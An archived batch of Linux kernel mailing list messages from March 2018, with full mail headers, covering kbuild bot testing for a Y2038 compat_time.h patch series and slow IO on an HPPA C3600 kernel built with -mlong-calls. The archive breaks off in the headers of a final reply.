Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp2.osuosl.org ([140.211.166.133] helo=hemlock.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1ewIxO-0002G5-R9
	for glddd-devel@m.gmane.org; Thu, 15 Mar 2018 03:49:31 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id A8869844CA;
	Thu, 15 Mar 2018 02:51:36 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id GuoAj0PA4hYo; Thu, 15 Mar 2018 02:51:35 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id 7770A820B9;
	Thu, 15 Mar 2018 02:51:35 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from whitealder.osuosl.org (smtp1.osuosl.org [140.211.166.138])
 by ash.osuosl.org (Postfix) with ESMTP id BC97A1BFECD
 for <devel@linuxdriverproject.org>; Thu, 15 Mar 2018 02:51:33 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by whitealder.osuosl.org (Postfix) with ESMTP id B74AD88D95
 for <devel@linuxdriverproject.org>; Thu, 15 Mar 2018 02:51:33 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id RJ0WuyDZOBNJ for <devel@linuxdriverproject.org>;
 Thu, 15 Mar 2018 02:51:33 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-it0-f67.google.com (mail-it0-f67.google.com
 [209.85.214.67])
 by whitealder.osuosl.org (Postfix) with ESMTPS id D2CD988D2D
 for <devel@driverdev.osuosl.org>; Thu, 15 Mar 2018 02:51:32 +0000 (UTC)
Original-Received: by mail-it0-f67.google.com with SMTP id k79-v6so7277477ita.2
 for <devel@driverdev.osuosl.org>; Wed, 14 Mar 2018 19:51:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=6PsZsueiuYK6l9Dw0AfvU5YG1pNdqWBwlt22vBUHALc=;
 b=lH/NvflsJblDSRZWCJg2TKh1hnn+XUi6Im3KA/x2PcQ+4Uskztf+dN2/xVWPxArHF2
 7Eoxg4uFMnWdOHfFs1+fm/bdqcUfZauhYtEfPYJ6ccgP3o83cwXNEZBXrf51JpWHIuog
 7d7Ma+MivrfIVMWJ3nFl22HAb2Z5Scz4hPe4Zp0Jm1GHNI8LbjAk/2ZPb3fj92VCmBAh
 yxlDXBv3k3DnO6dcPlr5njmZnCd+4LQD9FuZRezY7lPzsacjM2FACpQXd29cBhdy3ZfI
 YMHFBUb0HMVIkuOiD9QxKFIecy3XINOEiaH9hGQgrZJ9ZiArKS4ciAsWNmBufWt4uRd0
 RlAw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=6PsZsueiuYK6l9Dw0AfvU5YG1pNdqWBwlt22vBUHALc=;
 b=Wmt52p/bsv4hwtW5cqjsB/qeEwd5gHUJtGJjr8GZv4yaNd+KfvezPFA1Ai/Qa1ca4U
 e30JwkDPSv/IN9nkeRLNU8SUZA5EJpILaW6PE+A9Ix3d9oSLG1VbaSIw/0tJ7Gca/G57
 HlLnt6e2BrGv/HXqNRwtac+aiHKXWgbynkEzAwW+rTRBGWEaVps+c1g3JpcTVBzCd/Z+
 EMf7JXk5bQEl5KVeJyjfB+3p9RsKBEyvdduUFDGfR/WaCjfPSnhMtyvZXyXv6LMgISCp
 4dWfL/wc8o7p4/g+YLreQqK6MGQdTW/bVLd6piCZsbdKG4I0UMAXEwucM0cJ2kOHj51a
 bUPg==
X-Gm-Message-State: AElRT7GcL7h0etscWWHJNX01ip27gK4AEW2o3MFimWwOn64lk7HEAtKq
 BHkpJfFQ2RJIsllN+Ee2HsCUk6uVoph24Jo/Ogs=
X-Google-Smtp-Source: AG47ELsOk4zGt84Iv4l3pKsrBv6OJiHt8sgY+doYXZfldItEeYrwEBkWO/xlVTrzjWqkS5bOfi+sRd/uT2EvKRTwahQ=
X-Received: by 2002:a24:32c4:: with SMTP id
 j187-v6mr4508526ita.85.1521082292127; 
 Wed, 14 Mar 2018 19:51:32 -0700 (PDT)
Original-Received: by 10.107.146.131 with HTTP; Wed, 14 Mar 2018 19:51:31 -0700 (PDT)
In-Reply-To: <CAK8P3a1fxWAK94GH0cpzh6CHXgL4uJuDNCGpdJen5ib1HH1xoA@mail.gmail.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114491 gmane.linux.ports.mips.general:64026 gmane.linux.ports.sparc:27418 gmane.linux.kernel.year-2038:2556 gmane.linux.oprofile:13173 gmane.linux.ports.parisc:28325 gmane.linux.kernel:2714418 gmane.linux.ports.ppc64.devel:154476
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114491>

On Wed, Mar 14, 2018 at 1:52 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> On Wed, Mar 14, 2018 at 4:50 AM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
>> The file arch/arm64/kernel/process.c needs asm/compat.h also to be
>> included directly since this is included conditionally from
>> include/compat.h. This does seem to be typical of arm64 as I was not
>> completely able to get rid of asm/compat.h includes for arm64 in this
>> series. My plan is to have separate patches to get rid of asm/compat.h
>> includes for the architectures that are not straight forward to keep
>> this series simple.
>> I will fix this and update the series.
>>
>
> I ran across the same thing in two more files during randconfig testing on
> arm64 now, adding this fixup on top for the moment, but maybe there
> is a better way:

I was looking at how Al tested his uaccess patches:
https://www.spinics.net/lists/linux-fsdevel/msg108752.html

He seems to be running the kbuild bot tests on his own git.
Is it possible to verify it this way on the 2038 tree? Or, I could
host a tree also.

Thanks,
Deepa

From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [Y2038] [PATCH v4 02/10] include: Move compat_timespec/ timeval
 to compat_time.h
Date: Thu, 15 Mar 2018 09:04:04 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <CAK8P3a1p1PruO_KsiE-sGAZdmoAVi2E3zZ+SXMzU=AZsb-RY-A@mail.gmail.com>
References: <20180312175307.11032-3-deepa.kernel@gmail.com>
 <201803132313.a4R8Y434%fengguang.wu@intel.com>
 <CABeXuvqNKfuvffU24Xydixv6Ro8R=2nAH4bruzx0AW=ax-6yOQ@mail.gmail.com>
 <CAK8P3a1fxWAK94GH0cpzh6CHXgL4uJuDNCGpdJen5ib1HH1xoA@mail.gmail.com>
 <CABeXuvpFfD+a6tSSOvni=v23DuJ-bWeZwmnzg4SU+TR=WHxs7Q@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521100933 3015 195.159.176.226 (15 Mar 2018 08:02:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 15 Mar 2018 08:02:13 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 devel@driverdev.osuosl.org, linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Robert Richter <rric@kernel.org>, Chris Metcalf
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Mar 15 09:02:05 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp3.osuosl.org ([140.211.166.136] helo=silver.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1ewNpq-0000YM-RC
	for glddd-devel@m.gmane.org; Thu, 15 Mar 2018 09:02:03 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by silver.osuosl.org (Postfix) with ESMTP id 7A3442286A;
	Thu, 15 Mar 2018 08:04:08 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pC4AZTyEWb8f; Thu, 15 Mar 2018 08:04:07 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by silver.osuosl.org (Postfix) with ESMTP id B47DD227BE;
	Thu, 15 Mar 2018 08:04:07 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from silver.osuosl.org (smtp3.osuosl.org [140.211.166.136])
 by ash.osuosl.org (Postfix) with ESMTP id BB22B1BFBAD
 for <devel@linuxdriverproject.org>; Thu, 15 Mar 2018 08:04:06 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by silver.osuosl.org (Postfix) with ESMTP id B7E72227BE
 for <devel@linuxdriverproject.org>; Thu, 15 Mar 2018 08:04:06 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id xclqMO0z2eyW for <devel@linuxdriverproject.org>;
 Thu, 15 Mar 2018 08:04:05 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-it0-f67.google.com (mail-it0-f67.google.com
 [209.85.214.67])
 by silver.osuosl.org (Postfix) with ESMTPS id B29442278E
 for <devel@driverdev.osuosl.org>; Thu, 15 Mar 2018 08:04:05 +0000 (UTC)
Original-Received: by mail-it0-f67.google.com with SMTP id z7-v6so6075599iti.1
 for <devel@driverdev.osuosl.org>; Thu, 15 Mar 2018 01:04:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=yCw36mdZungrJO7C0NyYFRbIv/19kkLti6Ob7KL/5Ak=;
 b=kYJNoC0qKslc5/EEiuKSgt3IkqcKQOqpEmlL4Aq0VZ+Nbf1B8eacluvjopZMXxaRTY
 1sO3bHY6xE4b3rj6SQTN+W69GOsqUz6Fi1L2noaysmdmcogGnnE5Nti/Sx/faexWSUZJ
 S0BV4nXQ7EQJl/9Lfd+qCPTaFtmrKUGrg1EUd53vqYqouSOrfu53yYgaLBfeKjDP/sLD
 gf7K08I8ZWBW0SI2bmFSbTrHh/GmxgfcEAeFT1lld7shmNRM+PTZxbQ5RYACgACFwm3n
 Im8FdgGkBOeVjUrg3YI5RD61Ejj4F4oA/ecgn4pWAHvcJfcqWwia+o7zk7E1ACaJfHoB
 tOhA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=yCw36mdZungrJO7C0NyYFRbIv/19kkLti6Ob7KL/5Ak=;
 b=uGYz6KKJ5d46JATwuew8uuoB3DpwXQaQhUKs7Amep+AyixC25zfyVipr35d9cS23ZC
 Uq4QypJxkQjzMIWC3DxIYd37O4ze4LpTCWgVGvfb08h4/dWPY1r0t0uPuNe8vHvaufQb
 nWkdnEOHE3PadGqaA0R7+FEDx6rKH537qzJehiJYYMeSytcpijshIvnBbNz/saUgGWAU
 auCjaGOEez/VNz2lFaSDsQti6AlMQF6zZUE8D74YpczyemfWdL3TvIJcXdBZ2v+6o/DS
 drhZ/4bmhoi08HPJ4EXeYBAEKH0BrWm3YX3MR0AJPrGBqBLIRaJIjpHQFI+hzmbIF47/
 cPSg==
X-Gm-Message-State: AElRT7H3wfVIV7JvTkPP3Ipnz3/Re1KFwGxOtXkSCVBDxWFpNDi+tCOG
 80g/XZt/fIHHcEn04J6wFWF6JrCPvuF30ELHeZU=
X-Google-Smtp-Source: AG47ELu2KsG5YAS8v1axJ+bea6sWBzMOC1G3sgAnbtr6TXZSsx4LVt+HAC+0zPUXzJU6b9xl5mDxGVhRf0QILPVcfDI=
X-Received: by 10.36.134.2 with SMTP id u2mr4931172itd.28.1521101044927; Thu,
 15 Mar 2018 01:04:04 -0700 (PDT)
Original-Received: by 10.79.34.71 with HTTP; Thu, 15 Mar 2018 01:04:04 -0700 (PDT)
In-Reply-To: <CABeXuvpFfD+a6tSSOvni=v23DuJ-bWeZwmnzg4SU+TR=WHxs7Q@mail.gmail.com>
X-Google-Sender-Auth: Map4-y8FQdzdO88VOrGUpjWD7R4
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114495 gmane.linux.ports.mips.general:64027 gmane.linux.ports.sparc:27419 gmane.linux.kernel.year-2038:2557 gmane.linux.oprofile:13174 gmane.linux.ports.parisc:28326 gmane.linux.kernel:2714525 gmane.linux.ports.ppc64.devel:154485
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114495>

On Thu, Mar 15, 2018 at 3:51 AM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
> On Wed, Mar 14, 2018 at 1:52 PM, Arnd Bergmann <arnd@arndb.de> wrote:
>> On Wed, Mar 14, 2018 at 4:50 AM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
>>> The file arch/arm64/kernel/process.c needs asm/compat.h also to be
>>> included directly since this is included conditionally from
>>> include/compat.h. This does seem to be typical of arm64 as I was not
>>> completely able to get rid of asm/compat.h includes for arm64 in this
>>> series. My plan is to have separate patches to get rid of asm/compat.h
>>> includes for the architectures that are not straight forward to keep
>>> this series simple.
>>> I will fix this and update the series.
>>>
>>
>> I ran across the same thing in two more files during randconfig testing on
>> arm64 now, adding this fixup on top for the moment, but maybe there
>> is a better way:
>
> I was looking at how Al tested his uaccess patches:
> https://www.spinics.net/lists/linux-fsdevel/msg108752.html
>
> He seems to be running the kbuild bot tests on his own git.
> Is it possible to verify it this way on the 2038 tree? Or, I could
> host a tree also.

The kbuild bot should generally pick up any branch on git.kernel.org,
and the patches sent to the mailing list. It tests a lot of things
configurations, but I tend to find some things that it doesn't find
by doing lots of randconfig builds on fewer target architectures
(I only build arm, arm64 and x86 regularly).

I remember that there was some discussion about a method
to get the bot to test other branches (besides asking Fengguang
to add it manually), but I don't remember what came out of that.

        Arnd

From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Thu, 15 Mar 2018 21:43:03 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521146480 6821 195.159.176.226 (15 Mar 2018 20:41:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 15 Mar 2018 20:41:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: debian-hppa@lists.debian.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Thu Mar 15 21:41:16 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewZga-0001gy-GE
	for debian-hppa@m.gmane.org; Thu, 15 Mar 2018 21:41:16 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 07A951CC; Thu, 15 Mar 2018 20:43:24 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Thu Mar 15 20:43:23 2018
Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 38FA21C9
	for <lists-debian-hppa@bendel.debian.org>; Thu, 15 Mar 2018 20:43:15 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.6 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, RCVD_IN_MSPIKE_H2=-0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id OtflVoQ85AhP for <lists-debian-hppa@bendel.debian.org>;
	Thu, 15 Mar 2018 20:43:07 +0000 (UTC)
X-policyd-weight: NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_BL_NJABL=-1.5 CL_IP_EQ_HELO_IP=-2 (check from: .gmx. - helo: .mout.gmx. - helo-domain: .gmx.)  FROM/MX_MATCHES_HELO(DOMAIN)=-2; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.15.15])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 0E7611CC
	for <debian-hppa@lists.debian.org>; Thu, 15 Mar 2018 20:43:06 +0000 (UTC)
Original-Received: from [192.168.20.60] ([88.130.70.134]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MQQzk-1f4Eg00APs-00TloE; Thu, 15
 Mar 2018 21:43:04 +0100
In-Reply-To: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K0:y6NP7ZU2EdIKXWPqjCkrJD2ov/p9DJbtYmyfk3BGUD8NQ3gYEMs
 sfsSTBUurJkL+td287GMhnmPGSx8II8/jVJQ9N4g4ADpwQNC8mTPx8apl48fqPsSiWC0tVC
 52zCmxZvxqaevzO1JJkQctdeN3iXD8i6JhkP/xTfAhYy3/TaNPhWeVJg8bjcRzAZ+c4wxb/
 9Nh5EVi3YhYougQOXljmA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:kKBZmonlf1A=:DH/Cx63deYTAKpbEpQCx4H
 //XLbOI3/PhLwAODrKjU0qNXhrAClqshnm3X6kBM6QLOC85JRuk5GS3+KNEWtkUWp1vXT8hJ1
 +r7s6Vl606VY2Kmzh2fL67Xofqj9LzAIua7eCmh4riRFBgqBdyB9o8kdveUobtOByEbs0FXuE
 5QwBLtDyrfa0P78nVMoUxpscRhBze+DbYbSMVpIAmwUZQkLKuU47OxoOxEP9+X1jJcd35SwNO
 qWxm7plGauT63er5/fF01EAX3oS8ae0oVmXJN/UfwvwgN7E6eMC4b/g7qWHBLvvhkRRP4G2YA
 xbhOqIO2FGAEJ5XRzlvEe5VOBqNgjC/OQS4ZITbFDl615SryKdYM0UrcUvetefaBLLrB/0kxK
 zu2XnDiAqFXnwbeNIrdBW+ulrhXKRA5PwPRTJEYe2afVTsNjNYdyc0AVwkA/VGHSkke3YV4xJ
 YFLX9u3Os0UrADg9zSfofVLVTor82Y5JJv+iLwAe5yYs8Afo9UEffEpk+biWP5sqKw+tJneco
 VnGOBSb2VWD6tLJlq8FUFHVMC4v/mH007BaWAFqwmZ0ckrW6yTLiqgFR2SUejY7E52e9KBTBv
 pT5OGhZqIe679N3g1O6fqXvRD1CCONZhd+Mpf3koXzbgt0c9CynmcoVquIsd3mUMY0xN5qNs0
 A99tuykpFqAItZGm17ojXpjPIIDuNe1nKwoK0K7UnV8/rxjRGMqrzkOEv/gA7Yww069RMfCav
 Wo0/37EjhcGuTRKOqGSS31bF7zlIEC+ZP5ZL4/i1cKtuXcxZbSK8TVvDYL0BRAJUWZbikrIk 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <ZfrmSjvDcdG.A.0_.rrtqaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8664
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de
Resent-Date: Thu, 15 Mar 2018 20:43:24 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7680 gmane.linux.ports.parisc:28327
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7680>

Hi Carlo,

On 15.03.2018 16:36, Carlo Pisani wrote:
> I am experiencing a very annoying behavior with my HPPA C3600: if I
> compile the (linux) kernel with  -mlong-calls then the IO (e.g. file
> copy) becomes very slow, and the PCI becomes unstable (i.e. it crashes
> the machine)
> 
> kernel  gcc     binutils    with mlong    without mlong
> 4.15.7  4.9.3   2.25.1     13.4 MB/s    27.0 MB/s
> 4.15.7  6.4.0   2.25.1     13.4 MB/s    27.0 MB/s
> 4.15.7  6.4.0   2.29.1     14.4 MB/s    25.0 MB/s

Interesting bad results!
 
> these tests were performed with
> 
> dd if=/dev/zero of=here bs=1k count=100000
> 
> -mlong-calls is enabled in the kernel by "CONFIG_MLONGCALLS"

I think nobody else noticed the bad performance due to CONFIG_MLONGCALLS yet.
I've now started some testing if we can disable that option on the debian
kernels...

> the help-guide says "If you configure the kernel to include many
> drivers built-in instead as modules, the kernel executable may become
> too big, so that the linker will not be able to resolve some long
> branches and fails to link your vmlinux kernel. In that case enabling
> this option will help you to overcome this limit by using the
> -mlong-calls compiler option. Usually you want to say N here, unless
> you e.g. want to build a kernel which includes all necessary drivers
> built-in and which can be used for TFTP booting without the need to
> have an initrd ramdisk. Enabling this option will probably slow down
> your kernel"
> 
> I need -mlong-calls because I need to compile the kernel without
> kernel-modules

Why?

> all built-in, that makes the size of the kernel of
> about 23Mbytes, thus without -mlong-calls the linker fails to "link"
> objects
> 
> let me know

I'm not sure what kind of help you expect here?
The only option I see is that you try to disable some options (modules) you won't
need and thus reduce the kernel size. xfs, ipv6 and such are good candidates.
Or use a 32bit kernel ?

Helge



From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Thu, 15 Mar 2018 16:48:23 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <358e0185-b770-d961-a1f2-bbb9703f4d26@bell.net>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521146803 28752 195.159.176.226 (15 Mar 2018 20:46:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 15 Mar 2018 20:46:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Thu Mar 15 21:46:39 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewZlm-0007Mi-SZ
	for debian-hppa@m.gmane.org; Thu, 15 Mar 2018 21:46:38 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 5B86C208; Thu, 15 Mar 2018 20:48:41 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Thu Mar 15 20:48:41 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id BD3881C9
	for <lists-debian-hppa@bendel.debian.org>; Thu, 15 Mar 2018 20:48:32 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.609 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
